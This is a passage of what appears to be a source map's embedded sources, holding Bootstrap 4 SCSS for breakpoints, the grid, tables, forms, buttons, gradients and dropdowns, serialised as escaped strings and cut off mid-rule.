https://bugs.webkit.org/show_bug.cgi?id=178261\n//\n//    >> breakpoint-max(sm, (xs: 0, sm: 576px, md: 768px, lg: 992px, xl: 1200px))\n//    767.98px\n@function breakpoint-max($name, $breakpoints: $grid-breakpoints) {\n  $next: breakpoint-next($name, $breakpoints);\n  @return if($next, breakpoint-min($next, $breakpoints) - .02px, null);\n}\n\n// Returns a blank string if smallest breakpoint, otherwise returns the name with a dash infront.\n// Useful for making responsive utilities.\n//\n//    >> breakpoint-infix(xs, (xs: 0, sm: 576px, md: 768px, lg: 992px, xl: 1200px))\n//    \"\"  (Returns a blank string)\n//    >> breakpoint-infix(sm, (xs: 0, sm: 576px, md: 768px, lg: 992px, xl: 1200px))\n//    \"-sm\"\n@function breakpoint-infix($name, $breakpoints: $grid-breakpoints) {\n  @return if(breakpoint-min($name, $breakpoints) == null, \"\", \"-#{$name}\");\n}\n\n// Media of at least the minimum breakpoint width. No query for the smallest breakpoint.\n// Makes the @content apply to the given breakpoint and wider.\n@mixin media-breakpoint-up($name, $breakpoints: $grid-breakpoints) {\n  $min: breakpoint-min($name, $breakpoints);\n  @if $min {\n    @media (min-width: $min) {\n      @content;\n    }\n  } @else {\n    @content;\n  }\n}\n\n// Media of at most the maximum breakpoint width. No query for the largest breakpoint.\n// Makes the @content apply to the given breakpoint and narrower.\n@mixin media-breakpoint-down($name, $breakpoints: $grid-breakpoints) {\n  $max: breakpoint-max($name, $breakpoints);\n  @if $max {\n    @media (max-width: $max) {\n      @content;\n    }\n  } @else {\n    @content;\n  }\n}\n\n// Media that spans multiple breakpoint widths.\n// Makes the @content apply between the min and max breakpoints\n@mixin media-breakpoint-between($lower, $upper, $breakpoints: $grid-breakpoints) {\n  $min: breakpoint-min($lower, $breakpoints);\n  $max: breakpoint-max($upper, $breakpoints);\n\n  @if $min != null and $max != null {\n    @media (min-width: $min) and (max-width: $max) {\n      @content;\n    }\n  } @else if $max == null {\n    @include media-breakpoint-up($lower, $breakpoints) {\n      @content;\n    }\n  } @else if $min == null {\n    @include media-breakpoint-down($upper, $breakpoints) {\n      @content;\n    }\n  }\n}\n\n// Media between the breakpoint's minimum and maximum widths.\n// No minimum for the smallest breakpoint, and no maximum for the largest one.\n// Makes the @content apply only to the given breakpoint, not viewports any wider or narrower.\n@mixin media-breakpoint-only($name, $breakpoints: $grid-breakpoints) {\n  $min: breakpoint-min($name, $breakpoints);\n  $max: breakpoint-max($name, $breakpoints);\n\n  @if $min != null and $max != null {\n    @media (min-width: $min) and (max-width: $max) {\n      @content;\n    }\n  } @else if $max == null {\n    @include media-breakpoint-up($name, $breakpoints) {\n      @content;\n    }\n  } @else if $min == null {\n    @include media-breakpoint-down($name, $breakpoints) {\n      @content;\n    }\n  }\n}\n","// Framework grid generation\n//\n// Used only by Bootstrap to generate the correct number of grid classes given\n// any value of `$grid-columns`.\n\n@mixin make-grid-columns($columns: $grid-columns, $gutter: $grid-gutter-width, $breakpoints: $grid-breakpoints) {\n  // Common properties for all breakpoints\n  %grid-column {\n    position: relative;\n    width: 100%;\n    min-height: 1px; // Prevent columns from collapsing when empty\n    padding-right: ($gutter / 2);\n    padding-left: ($gutter / 2);\n  }\n\n  @each $breakpoint in map-keys($breakpoints) {\n    $infix: breakpoint-infix($breakpoint, $breakpoints);\n\n    // Allow columns to stretch full width below their breakpoints\n    @for $i from 1 through $columns {\n      .col#{$infix}-#{$i} {\n        @extend %grid-column;\n      }\n    }\n    .col#{$infix},\n    .col#{$infix}-auto {\n      @extend %grid-column;\n    }\n\n    @include media-breakpoint-up($breakpoint, $breakpoints) {\n      // Provide basic `.col-{bp}` classes for equal-width flexbox columns\n      .col#{$infix} {\n        flex-basis: 0;\n        flex-grow: 1;\n        max-width: 100%;\n      }\n      .col#{$infix}-auto {\n        flex: 0 0 auto;\n        width: auto;\n        max-width: none; // Reset earlier grid tiers\n      }\n\n      @for $i from 1 through $columns {\n        .col#{$infix}-#{$i} {\n          @include make-col($i, $columns);\n        }\n      }\n\n      .order#{$infix}-first { order: -1; }\n\n      .order#{$infix}-last { order: $columns + 1; }\n\n      @for $i from 0 through $columns {\n        .order#{$infix}-#{$i} { order: $i; }\n      }\n\n      // `$columns - 1` because offsetting by the width of an entire row isn't possible\n      @for $i from 0 through ($columns - 1) {\n        @if not ($infix == \"\" and $i == 0) { // Avoid emitting useless .offset-0\n          .offset#{$infix}-#{$i} {\n            @include make-col-offset($i, $columns);\n          }\n        }\n      }\n    }\n  }\n}\n","//\n// Basic Bootstrap table\n//\n\n.table {\n  width: 100%;\n  max-width: 100%;\n  margin-bottom: $spacer;\n  background-color: $table-bg; // Reset for nesting within parents with `background-color`.\n\n  th,\n  td {\n    padding: $table-cell-padding;\n    vertical-align: top;\n    border-top: $table-border-width solid $table-border-color;\n  }\n\n  thead th {\n    vertical-align: bottom;\n    border-bottom: (2 * $table-border-width) solid $table-border-color;\n  }\n\n  tbody + tbody {\n    border-top: (2 * $table-border-width) solid $table-border-color;\n  }\n\n  .table {\n    background-color: $body-bg;\n  }\n}\n\n\n//\n// Condensed table w/ half padding\n//\n\n.table-sm {\n  th,\n  td {\n    padding: $table-cell-padding-sm;\n  }\n}\n\n\n// Border versions\n//\n// Add or remove borders all around the table and between all the columns.\n\n.table-bordered {\n  border: $table-border-width solid $table-border-color;\n\n  th,\n  td {\n    border: $table-border-width solid $table-border-color;\n  }\n\n  thead {\n    th,\n    td {\n      border-bottom-width: (2 * $table-border-width);\n    }\n  }\n}\n\n.table-borderless {\n  th,\n  td,\n  thead th,\n  tbody + tbody {\n    border: 0;\n  }\n}\n\n// Zebra-striping\n//\n// Default zebra-stripe styles (alternating gray and transparent backgrounds)\n\n.table-striped {\n  tbody tr:nth-of-type(#{$table-striped-order}) {\n    background-color: $table-accent-bg;\n  }\n}\n\n\n// Hover effect\n//\n// Placed here since it has to come after the potential zebra striping\n\n.table-hover {\n  tbody tr {\n    @include hover {\n      background-color: $table-hover-bg;\n    }\n  }\n}\n\n\n// Table backgrounds\n//\n// Exact selectors below required to override `.table-striped` and prevent\n// inheritance to nested tables.\n\n@each $color, $value in $theme-colors {\n  @include table-row-variant($color, theme-color-level($color, -9));\n}\n\n@include table-row-variant(active, $table-active-bg);\n\n\n// Dark styles\n//\n// Same table markup, but inverted color scheme: dark background and light text.\n\n// stylelint-disable-next-line no-duplicate-selectors\n.table {\n  .thead-dark {\n    th {\n      color: $table-dark-color;\n      background-color: $table-dark-bg;\n      border-color: $table-dark-border-color;\n    }\n  }\n\n  .thead-light {\n    th {\n      color: $table-head-color;\n      background-color: $table-head-bg;\n      border-color: $table-border-color;\n    }\n  }\n}\n\n.table-dark {\n  color: $table-dark-color;\n  background-color: $table-dark-bg;\n\n  th,\n  td,\n  thead th {\n    border-color: $table-dark-border-color;\n  }\n\n  &.table-bordered {\n    border: 0;\n  }\n\n  &.table-striped {\n    tbody tr:nth-of-type(odd) {\n      background-color: $table-dark-accent-bg;\n    }\n  }\n\n  &.table-hover {\n    tbody tr {\n      @include hover {\n        background-color: $table-dark-hover-bg;\n      }\n    }\n  }\n}\n\n\n// Responsive tables\n//\n// Generate series of `.table-responsive-*` classes for configuring the screen\n// size of where your table will overflow.\n\n.table-responsive {\n  @each $breakpoint in map-keys($grid-breakpoints) {\n    $next: breakpoint-next($breakpoint, $grid-breakpoints);\n    $infix: breakpoint-infix($next, $grid-breakpoints);\n\n    &#{$infix} {\n      @include media-breakpoint-down($breakpoint) {\n        display: block;\n        width: 100%;\n        overflow-x: auto;\n        -webkit-overflow-scrolling: touch;\n        -ms-overflow-style: -ms-autohiding-scrollbar; // See https://github.com/twbs/bootstrap/pull/10057\n\n        // Prevent double border on horizontal scroll due to use of `display: block;`\n        > .table-bordered {\n          border: 0;\n        }\n      }\n    }\n  }\n}\n","// Tables\n\n@mixin table-row-variant($state, $background) {\n  // Exact selectors below required to override `.table-striped` and prevent\n  // inheritance to nested tables.\n  .table-#{$state} {\n    &,\n    > th,\n    > td {\n      background-color: $background;\n    }\n  }\n\n  // Hover states for `.table-hover`\n  // Note: this is not available for cells or rows within `thead` or `tfoot`.\n  .table-hover {\n    $hover-background: darken($background, 5%);\n\n    .table-#{$state} {\n      @include hover {\n        background-color: $hover-background;\n\n        > td,\n        > th {\n          background-color: $hover-background;\n        }\n      }\n    }\n  }\n}\n","// stylelint-disable selector-no-qualifying-type\n\n//\n// Textual form controls\n//\n\n.form-control {\n  display: block;\n  width: 100%;\n  padding: $input-padding-y $input-padding-x;\n  font-size: $font-size-base;\n  line-height: $input-line-height;\n  color: $input-color;\n  background-color: $input-bg;\n  background-clip: padding-box;\n  border: $input-border-width solid $input-border-color;\n\n  // Note: This has no effect on <select>s in some browsers, due to the limited stylability of `<select>`s in CSS.\n  @if $enable-rounded {\n    // Manually use the if/else instead of the mixin to account for iOS override\n    border-radius: $input-border-radius;\n  } @else {\n    // Otherwise undo the iOS default\n    border-radius: 0;\n  }\n\n  @include box-shadow($input-box-shadow);\n  @include transition($input-transition);\n\n  // Unstyle the caret on `<select>`s in IE10+.\n  &::-ms-expand {\n    background-color: transparent;\n    border: 0;\n  }\n\n  // Customize the `:focus` state to imitate native WebKit styles.\n  @include form-control-focus();\n\n  // Placeholder\n  &::placeholder {\n    color: $input-placeholder-color;\n    // Override Firefox's unusual default opacity; see https://github.com/twbs/bootstrap/pull/11526.\n    opacity: 1;\n  }\n\n  // Disabled and read-only inputs\n  //\n  // HTML5 says that controls under a fieldset > legend:first-child won't be\n  // disabled if the fieldset is disabled. Due to implementation difficulty, we\n  // don't honor that edge case; we style them as disabled anyway.\n  &:disabled,\n  &[readonly] {\n    background-color: $input-disabled-bg;\n    // iOS fix for unreadable disabled content; see https://github.com/twbs/bootstrap/issues/11655.\n    opacity: 1;\n  }\n}\n\nselect.form-control {\n  &:not([size]):not([multiple]) {\n    height: $input-height;\n  }\n\n  &:focus::-ms-value {\n    // Suppress the nested default white text on blue background highlight given to\n    // the selected option text when the (still closed) <select> receives focus\n    // in IE and (under certain conditions) Edge, as it looks bad and cannot be made to\n    // match the appearance of the native widget.\n    // See https://github.com/twbs/bootstrap/issues/19398.\n    color: $input-color;\n    background-color: $input-bg;\n  }\n}\n\n// Make file inputs better match text inputs by forcing them to new lines.\n.form-control-file,\n.form-control-range {\n  display: block;\n  width: 100%;\n}\n\n\n//\n// Labels\n//\n\n// For use with horizontal and inline forms, when you need the label (or legend)\n// text to align with the form controls.\n.col-form-label {\n  padding-top: calc(#{$input-padding-y} + #{$input-border-width});\n  padding-bottom: calc(#{$input-padding-y} + #{$input-border-width});\n  margin-bottom: 0; // Override the `<label>/<legend>` default\n  font-size: inherit; // Override the `<legend>` default\n  line-height: $input-line-height;\n}\n\n.col-form-label-lg {\n  padding-top: calc(#{$input-padding-y-lg} + #{$input-border-width});\n  padding-bottom: calc(#{$input-padding-y-lg} + #{$input-border-width});\n  font-size: $font-size-lg;\n  line-height: $input-line-height-lg;\n}\n\n.col-form-label-sm {\n  padding-top: calc(#{$input-padding-y-sm} + #{$input-border-width});\n  padding-bottom: calc(#{$input-padding-y-sm} + #{$input-border-width});\n  font-size: $font-size-sm;\n  line-height: $input-line-height-sm;\n}\n\n\n// Readonly controls as plain text\n//\n// Apply class to a readonly input to make it appear like regular plain\n// text (without any border, background color, focus indicator)\n\n.form-control-plaintext {\n  display: block;\n  width: 100%;\n  padding-top: $input-padding-y;\n  padding-bottom: $input-padding-y;\n  margin-bottom: 0; // match inputs if this class comes on inputs with default margins\n  line-height: $input-line-height;\n  color: $input-plaintext-color;\n  background-color: transparent;\n  border: solid transparent;\n  border-width: $input-border-width 0;\n\n  &.form-control-sm,\n  &.form-control-lg {\n    padding-right: 0;\n    padding-left: 0;\n  }\n}\n\n\n// Form control sizing\n//\n// Build on `.form-control` with modifier classes to decrease or increase the\n// height and font-size of form controls.\n//\n// The `.form-group-* form-control` variations are sadly duplicated to avoid the\n// issue documented in https://github.com/twbs/bootstrap/issues/15074.\n\n.form-control-sm {\n  padding: $input-padding-y-sm $input-padding-x-sm;\n  font-size: $font-size-sm;\n  line-height: $input-line-height-sm;\n  @include border-radius($input-border-radius-sm);\n}\n\nselect.form-control-sm {\n  &:not([size]):not([multiple]) {\n    height: $input-height-sm;\n  }\n}\n\n.form-control-lg {\n  padding: $input-padding-y-lg $input-padding-x-lg;\n  font-size: $font-size-lg;\n  line-height: $input-line-height-lg;\n  @include border-radius($input-border-radius-lg);\n}\n\nselect.form-control-lg {\n  &:not([size]):not([multiple]) {\n    height: $input-height-lg;\n  }\n}\n\n\n// Form groups\n//\n// Designed to help with the organization and spacing of vertical forms. For\n// horizontal forms, use the predefined grid classes.\n\n.form-group {\n  margin-bottom: $form-group-margin-bottom;\n}\n\n.form-text {\n  display: block;\n  margin-top: $form-text-margin-top;\n}\n\n\n// Form grid\n//\n// Special replacement for our grid system's `.row` for tighter form layouts.\n\n.form-row {\n  display: flex;\n  flex-wrap: wrap;\n  margin-right: -5px;\n  margin-left: -5px;\n\n  > .col,\n  > [class*=\"col-\"] {\n    padding-right: 5px;\n    padding-left: 5px;\n  }\n}\n\n\n// Checkboxes and radios\n//\n// Indent the labels to position radios/checkboxes as hanging controls.\n\n.form-check {\n  position: relative;\n  display: block;\n  padding-left: $form-check-input-gutter;\n}\n\n.form-check-input {\n  position: absolute;\n  margin-top: $form-check-input-margin-y;\n  margin-left: -$form-check-input-gutter;\n\n  &:disabled ~ .form-check-label {\n    color: $text-muted;\n  }\n}\n\n.form-check-label {\n  margin-bottom: 0; // Override default `<label>` bottom margin\n}\n\n.form-check-inline {\n  display: inline-flex;\n  align-items: center;\n  padding-left: 0; // Override base .form-check\n  margin-right: $form-check-inline-margin-x;\n\n  // Undo .form-check-input defaults and add some `margin-right`.\n  .form-check-input {\n    position: static;\n    margin-top: 0;\n    margin-right: $form-check-inline-input-margin-x;\n    margin-left: 0;\n  }\n}\n\n\n// Form validation\n//\n// Provide feedback to users when form field values are valid or invalid. Works\n// primarily for client-side validation via scoped `:invalid` and `:valid`\n// pseudo-classes but also includes `.is-invalid` and `.is-valid` classes for\n// server side validation.\n\n@include form-validation-state(\"valid\", $form-feedback-valid-color);\n@include form-validation-state(\"invalid\", $form-feedback-invalid-color);\n\n// Inline forms\n//\n// Make forms appear inline(-block) by adding the `.form-inline` class. Inline\n// forms begin stacked on extra small (mobile) devices and then go inline when\n// viewports reach <768px.\n//\n// Requires wrapping inputs and labels with `.form-group` for proper display of\n// default HTML form controls and our custom form controls (e.g., input groups).\n\n.form-inline {\n  display: flex;\n  flex-flow: row wrap;\n  align-items: center; // Prevent shorter elements from growing to same height as others (e.g., small buttons growing to normal sized button height)\n\n  // Because we use flex, the initial sizing of checkboxes is collapsed and\n  // doesn't occupy the full-width (which is what we want for xs grid tier),\n  // so we force that here.\n  .form-check {\n    width: 100%;\n  }\n\n  // Kick in the inline\n  @include media-breakpoint-up(sm) {\n    label {\n      display: flex;\n      align-items: center;\n      justify-content: center;\n      margin-bottom: 0;\n    }\n\n    // Inline-block all the things for \"inline\"\n    .form-group {\n      display: flex;\n      flex: 0 0 auto;\n      flex-flow: row wrap;\n      align-items: center;\n      margin-bottom: 0;\n    }\n\n    // Allow folks to *not* use `.form-group`\n    .form-control {\n      display: inline-block;\n      width: auto; // Prevent labels from stacking above inputs in `.form-group`\n      vertical-align: middle;\n    }\n\n    // Make static controls behave like regular ones\n    .form-control-plaintext {\n      display: inline-block;\n    }\n\n    .input-group,\n    .custom-select {\n      width: auto;\n    }\n\n    // Remove default margin on radios/checkboxes that were used for stacking, and\n    // then undo the floating of radios and checkboxes to match.\n    .form-check {\n      display: flex;\n      align-items: center;\n      justify-content: center;\n      width: auto;\n      padding-left: 0;\n    }\n    .form-check-input {\n      position: relative;\n      margin-top: 0;\n      margin-right: $form-check-input-margin-x;\n      margin-left: 0;\n    }\n\n    .custom-control {\n      align-items: center;\n      justify-content: center;\n    }\n    .custom-control-label {\n      margin-bottom: 0;\n    }\n  }\n}\n","@mixin transition($transition...) {\n  @if $enable-transitions {\n    @if length($transition) == 0 {\n      transition: $transition-base;\n    } @else {\n      transition: $transition;\n    }\n  }\n\n  @media screen and (prefers-reduced-motion: reduce) {\n    transition: none;\n  }\n}\n","// Form control focus state\n//\n// Generate a customized focus state and for any input with the specified color,\n// which defaults to the `$input-focus-border-color` variable.\n//\n// We highly encourage you to not customize the default value, but instead use\n// this to tweak colors on an as-needed basis. This aesthetic change is based on\n// WebKit's default styles, but applicable to a wider range of browsers. Its\n// usability and accessibility should be taken into account with any change.\n//\n// Example usage: change the default blue border and shadow to white for better\n// contrast against a dark gray background.\n@mixin form-control-focus() {\n  &:focus {\n    color: $input-focus-color;\n    background-color: $input-focus-bg;\n    border-color: $input-focus-border-color;\n    outline: 0;\n    // Avoid using mixin so we can pass custom focus shadow properly\n    @if $enable-shadows {\n      box-shadow: $input-box-shadow, $input-focus-box-shadow;\n    } @else {\n      box-shadow: $input-focus-box-shadow;\n    }\n  }\n}\n\n\n@mixin form-validation-state($state, $color) {\n  .#{$state}-feedback {\n    display: none;\n    width: 100%;\n    margin-top: $form-feedback-margin-top;\n    font-size: $form-feedback-font-size;\n    color: $color;\n  }\n\n  .#{$state}-tooltip {\n    position: absolute;\n    top: 100%;\n    z-index: 5;\n    display: none;\n    max-width: 100%; // Contain to parent when possible\n    padding: .5rem;\n    margin-top: .1rem;\n    font-size: .875rem;\n    line-height: 1;\n    color: $white;\n    background-color: rgba($color, .8);\n    border-radius: .2rem;\n  }\n\n  .form-control,\n  .custom-select {\n    .was-validated &:#{$state},\n    &.is-#{$state} {\n      border-color: $color;\n\n      &:focus {\n        border-color: $color;\n        box-shadow: 0 0 0 $input-focus-width rgba($color, .25);\n      }\n\n      ~ .#{$state}-feedback,\n      ~ .#{$state}-tooltip {\n        display: block;\n      }\n    }\n  }\n\n  .form-check-input {\n    .was-validated &:#{$state},\n    &.is-#{$state} {\n      ~ .form-check-label {\n        color: $color;\n      }\n\n      ~ .#{$state}-feedback,\n      ~ .#{$state}-tooltip {\n        display: block;\n      }\n    }\n  }\n\n  .custom-control-input {\n    .was-validated &:#{$state},\n    &.is-#{$state} {\n      ~ .custom-control-label {\n        color: $color;\n\n        &::before {\n          background-color: lighten($color, 25%);\n        }\n      }\n\n      ~ .#{$state}-feedback,\n      ~ .#{$state}-tooltip {\n        display: block;\n      }\n\n      &:checked {\n        ~ .custom-control-label::before {\n          @include gradient-bg(lighten($color, 10%));\n        }\n      }\n\n      &:focus {\n        ~ .custom-control-label::before {\n          box-shadow: 0 0 0 1px $body-bg, 0 0 0 $input-focus-width rgba($color, .25);\n        }\n      }\n    }\n  }\n\n  // custom file\n  .custom-file-input {\n    .was-validated &:#{$state},\n    &.is-#{$state} {\n      ~ .custom-file-label {\n        border-color: $color;\n\n        &::before { border-color: inherit; }\n      }\n\n      ~ .#{$state}-feedback,\n      ~ .#{$state}-tooltip {\n        display: block;\n      }\n\n      &:focus {\n        ~ .custom-file-label {\n          box-shadow: 0 0 0 $input-focus-width rgba($color, .25);\n        }\n      }\n    }\n  }\n}\n","// Gradients\n\n@mixin gradient-bg($color) {\n  @if $enable-gradients {\n    background: $color linear-gradient(180deg, mix($body-bg, $color, 15%), $color) repeat-x;\n  } @else {\n    background-color: $color;\n  }\n}\n\n// Horizontal gradient, from left to right\n//\n// Creates two color stops, start and end, by specifying a color and position for each color stop.\n@mixin gradient-x($start-color: $gray-700, $end-color: $gray-800, $start-percent: 0%, $end-percent: 100%) {\n  background-image: linear-gradient(to right, $start-color $start-percent, $end-color $end-percent);\n  background-repeat: repeat-x;\n}\n\n// Vertical gradient, from top to bottom\n//\n// Creates two color stops, start and end, by specifying a color and position for each color stop.\n@mixin gradient-y($start-color: $gray-700, $end-color: $gray-800, $start-percent: 0%, $end-percent: 100%) {\n  background-image: linear-gradient(to bottom, $start-color $start-percent, $end-color $end-percent);\n  background-repeat: repeat-x;\n}\n\n@mixin gradient-directional($start-color: $gray-700, $end-color: $gray-800, $deg: 45deg) {\n  background-image: linear-gradient($deg, $start-color, $end-color);\n  background-repeat: repeat-x;\n}\n@mixin gradient-x-three-colors($start-color: $blue, $mid-color: $purple, $color-stop: 50%, $end-color: $red) {\n  background-image: linear-gradient(to right, $start-color, $mid-color $color-stop, $end-color);\n  background-repeat: no-repeat;\n}\n@mixin gradient-y-three-colors($start-color: $blue, $mid-color: $purple, $color-stop: 50%, $end-color: $red) {\n  background-image: linear-gradient($start-color, $mid-color $color-stop, $end-color);\n  background-repeat: no-repeat;\n}\n@mixin gradient-radial($inner-color: $gray-700, $outer-color: $gray-800) {\n  background-image: radial-gradient(circle, $inner-color, $outer-color);\n  background-repeat: no-repeat;\n}\n@mixin gradient-striped($color: rgba($white, .15), $angle: 45deg) {\n  background-image: linear-gradient($angle, $color 25%, transparent 25%, transparent 50%, $color 50%, $color 75%, transparent 75%, transparent);\n}\n","// stylelint-disable selector-no-qualifying-type\n\n//\n// Base styles\n//\n\n.btn {\n  display: inline-block;\n  font-weight: $btn-font-weight;\n  text-align: center;\n  white-space: nowrap;\n  vertical-align: middle;\n  user-select: none;\n  border: $btn-border-width solid transparent;\n  @include button-size($btn-padding-y, $btn-padding-x, $font-size-base, $btn-line-height, $btn-border-radius);\n  @include transition($btn-transition);\n\n  // Share hover and focus styles\n  @include hover-focus {\n    text-decoration: none;\n  }\n\n  &:focus,\n  &.focus {\n    outline: 0;\n    box-shadow: $btn-focus-box-shadow;\n  }\n\n  // Disabled comes first so active can properly restyle\n  &.disabled,\n  &:disabled {\n    opacity: $btn-disabled-opacity;\n    @include box-shadow(none);\n  }\n\n  // Opinionated: add \"hand\" cursor to non-disabled .btn elements\n  &:not(:disabled):not(.disabled) {\n    cursor: pointer;\n  }\n\n  &:not(:disabled):not(.disabled):active,\n  &:not(:disabled):not(.disabled).active {\n    background-image: none;\n    @include box-shadow($btn-active-box-shadow);\n\n    &:focus {\n      @include box-shadow($btn-focus-box-shadow, $btn-active-box-shadow);\n    }\n  }\n}\n\n// Future-proof disabling of clicks on `<a>` elements\na.btn.disabled,\nfieldset:disabled a.btn {\n  pointer-events: none;\n}\n\n\n//\n// Alternate buttons\n//\n\n@each $color, $value in $theme-colors {\n  .btn-#{$color} {\n    @include button-variant($value, $value);\n  }\n}\n\n@each $color, $value in $theme-colors {\n  .btn-outline-#{$color} {\n    @include button-outline-variant($value);\n  }\n}\n\n\n//\n// Link buttons\n//\n\n// Make a button look and behave like a link\n.btn-link {\n  font-weight: $font-weight-normal;\n  color: $link-color;\n  background-color: transparent;\n\n  @include hover {\n    color: $link-hover-color;\n    text-decoration: $link-hover-decoration;\n    background-color: transparent;\n    border-color: transparent;\n  }\n\n  &:focus,\n  &.focus {\n    text-decoration: $link-hover-decoration;\n    border-color: transparent;\n    box-shadow: none;\n  }\n\n  &:disabled,\n  &.disabled {\n    color: $btn-link-disabled-color;\n    pointer-events: none;\n  }\n\n  // No need for an active state here\n}\n\n\n//\n// Button Sizes\n//\n\n.btn-lg {\n  @include button-size($btn-padding-y-lg, $btn-padding-x-lg, $font-size-lg, $btn-line-height-lg, $btn-border-radius-lg);\n}\n\n.btn-sm {\n  @include button-size($btn-padding-y-sm, $btn-padding-x-sm, $font-size-sm, $btn-line-height-sm, $btn-border-radius-sm);\n}\n\n\n//\n// Block button\n//\n\n.btn-block {\n  display: block;\n  width: 100%;\n\n  // Vertically space out multiple block buttons\n  + .btn-block {\n    margin-top: $btn-block-spacing-y;\n  }\n}\n\n// Specificity overrides\ninput[type=\"submit\"],\ninput[type=\"reset\"],\ninput[type=\"button\"] {\n  &.btn-block {\n    width: 100%;\n  }\n}\n","// Button variants\n//\n// Easily pump out default styles, as well as :hover, :focus, :active,\n// and disabled options for all buttons\n\n@mixin button-variant($background, $border, $hover-background: darken($background, 7.5%), $hover-border: darken($border, 10%), $active-background: darken($background, 10%), $active-border: darken($border, 12.5%)) {\n  color: color-yiq($background);\n  @include gradient-bg($background);\n  border-color: $border;\n  @include box-shadow($btn-box-shadow);\n\n  @include hover {\n    color: color-yiq($hover-background);\n    @include gradient-bg($hover-background);\n    border-color: $hover-border;\n  }\n\n  &:focus,\n  &.focus {\n    // Avoid using mixin so we can pass custom focus shadow properly\n    @if $enable-shadows {\n      box-shadow: $btn-box-shadow, 0 0 0 $btn-focus-width rgba($border, .5);\n    } @else {\n      box-shadow: 0 0 0 $btn-focus-width rgba($border, .5);\n    }\n  }\n\n  // Disabled comes first so active can properly restyle\n  &.disabled,\n  &:disabled {\n    color: color-yiq($background);\n    background-color: $background;\n    border-color: $border;\n  }\n\n  &:not(:disabled):not(.disabled):active,\n  &:not(:disabled):not(.disabled).active,\n  .show > &.dropdown-toggle {\n    color: color-yiq($active-background);\n    background-color: $active-background;\n    @if $enable-gradients {\n      background-image: none; // Remove the gradient for the pressed/active state\n    }\n    border-color: $active-border;\n\n    &:focus {\n      // Avoid using mixin so we can pass custom focus shadow properly\n      @if $enable-shadows {\n        box-shadow: $btn-active-box-shadow, 0 0 0 $btn-focus-width rgba($border, .5);\n      } @else {\n        box-shadow: 0 0 0 $btn-focus-width rgba($border, .5);\n      }\n    }\n  }\n}\n\n@mixin button-outline-variant($color, $color-hover: color-yiq($color), $active-background: $color, $active-border: $color) {\n  color: $color;\n  background-color: transparent;\n  background-image: none;\n  border-color: $color;\n\n  &:hover {\n    color: $color-hover;\n    background-color: $active-background;\n    border-color: $active-border;\n  }\n\n  &:focus,\n  &.focus {\n    box-shadow: 0 0 0 $btn-focus-width rgba($color, .5);\n  }\n\n  &.disabled,\n  &:disabled {\n    color: $color;\n    background-color: transparent;\n  }\n\n  &:not(:disabled):not(.disabled):active,\n  &:not(:disabled):not(.disabled).active,\n  .show > &.dropdown-toggle {\n    color: color-yiq($active-background);\n    background-color: $active-background;\n    border-color: $active-border;\n\n    &:focus {\n      // Avoid using mixin so we can pass custom focus shadow properly\n      @if $enable-shadows and $btn-active-box-shadow != none {\n        box-shadow: $btn-active-box-shadow, 0 0 0 $btn-focus-width rgba($color, .5);\n      } @else {\n        box-shadow: 0 0 0 $btn-focus-width rgba($color, .5);\n      }\n    }\n  }\n}\n\n// Button sizes\n@mixin button-size($padding-y, $padding-x, $font-size, $line-height, $border-radius) {\n  padding: $padding-y $padding-x;\n  font-size: $font-size;\n  line-height: $line-height;\n  // Manually declare to provide an override to the browser default\n  @if $enable-rounded {\n    border-radius: $border-radius;\n  } @else {\n    border-radius: 0;\n  }\n}\n","// stylelint-disable selector-no-qualifying-type\n\n.fade {\n  @include transition($transition-fade);\n\n  &:not(.show) {\n    opacity: 0;\n  }\n}\n\n.collapse {\n  &:not(.show) {\n    display: none;\n  }\n}\n\n.collapsing {\n  position: relative;\n  height: 0;\n  overflow: hidden;\n  @include transition($transition-collapse);\n}\n","// The dropdown wrapper (`<div>`)\n.dropup,\n.dropright,\n.dropdown,\n.dropleft {\n  position: relative;\n}\n\n.dropdown-toggle {\n  // Generate the caret automatically\n  @include caret;\n}\n\n// The dropdown menu\n.dropdown-menu {\n  position: absolute;\n  top: 100%;\n  left: 0;\n  z-index: $zindex-dropdown;\n  display: none; // none by default, but block on \"open\" of the menu\n  float: left;\n  min-width: $dropdown-min-width;\n  padding: $dropdown-padding-y 0;\n  margin: $dropdown-spacer 0 0; // override default ul\n  font-size: $font-size-base; // Redeclare because nesting can cause inheritance issues\n  color: $body-color;\n  text-align: left; // Ensures proper alignment if parent has it changed (e.g., modal footer)\n  list-style: none;\n  background-color: $dropdown-bg;\n  background-clip: padding-box;\n  border: $dropdown-border-width solid $dropdown-border-color;\n  @include border-radius($dropdown-border-radius);\n  @include box-shadow($dropdown-box-shadow);\n}\n\n.dropdown-menu-right {\n  right: 0;\n  left: auto;\n}\n\n// Allow for dropdowns to go bottom up (aka, dropup-menu)\n// Just add .dropup after the standard .dropdown class and you're set.\n.dropup {\n  .dropdown-menu {\n    top: auto;\n    bottom: 100%;\n    margin-top: 0;\n    margin-bottom: $dropdown-spacer;\n  }\n\n  .dropdown-toggle {\n    @include caret(up);\n  }\n}\n\n.dropright {\n  .dropdown-menu {\n    top: 0;\n    right: auto;\n    left: 100%;\n    margin-top: 0;\n    margin-left: $dropdown-spacer;\n  }\n\n  .dropdown-toggle {\n    @include caret(right);\n    &::after {\n      vertical-align: 0;\n    }\n  }\n}\n\n.dropleft {\n  .dropdown-menu {\n    top: 0;\n    right: 100%;\n    left: auto;\n    margin-top: 0;\n    margin-right: $dropdown-spacer;\n  }\n\n  .dropdown-toggle {\n    @include caret(left);\n    &::before {\n      vertical-align: 0;\n    }\n  }\n}\n\n// When enabled Popper.js, reset basic dropdown position\n// stylelint-disable no-duplicate-selectors\n.dropdown-menu {\n  &[x-placement^=\"top\"],\n  &[x-placement^=\"right\"],\n  &[x-placement^=\"bottom\"],\n  &[x-placement^=\"left\"] {\n    right: auto;\n    bottom: auto;\n  }\n}\n// stylelint-enable no-duplicate-selectors\n\n// Dividers (basically an `<hr>`) within the dropdown\n.dropdown-divider {\n  @include nav-divider($dropdown-divider-bg);\n}\n\n// Links, buttons, and more within the dropdown menu\n//\n// `<button>`-specific styles are denoted with `// For <button>s`\n.dropdown-item {\n  display: block;\n  width: 100%; // For `<button>`s\n  padding: $dropdown-item-padding-y $dropdown-item-padding-x;\n  clear: both;\n  font-weight: $font-weight-normal;\n  color: $dropdown-link-color;\n  text-align: inherit; // For `<button>`s\n  white-space: nowrap; // prevent links from randomly breaking onto new lines\n  background-color: transparent; // For `<button>`s\n  border: 0; // For `<button>`s\n\n  @include hover-focus {\n    color: $dropdown-link-hover-color;\n    text-decoration: none;\n    @include gradient-bg($dropdown-link-hover-bg);\n  }\n\n  &.active,\n  &:active {\n    color: 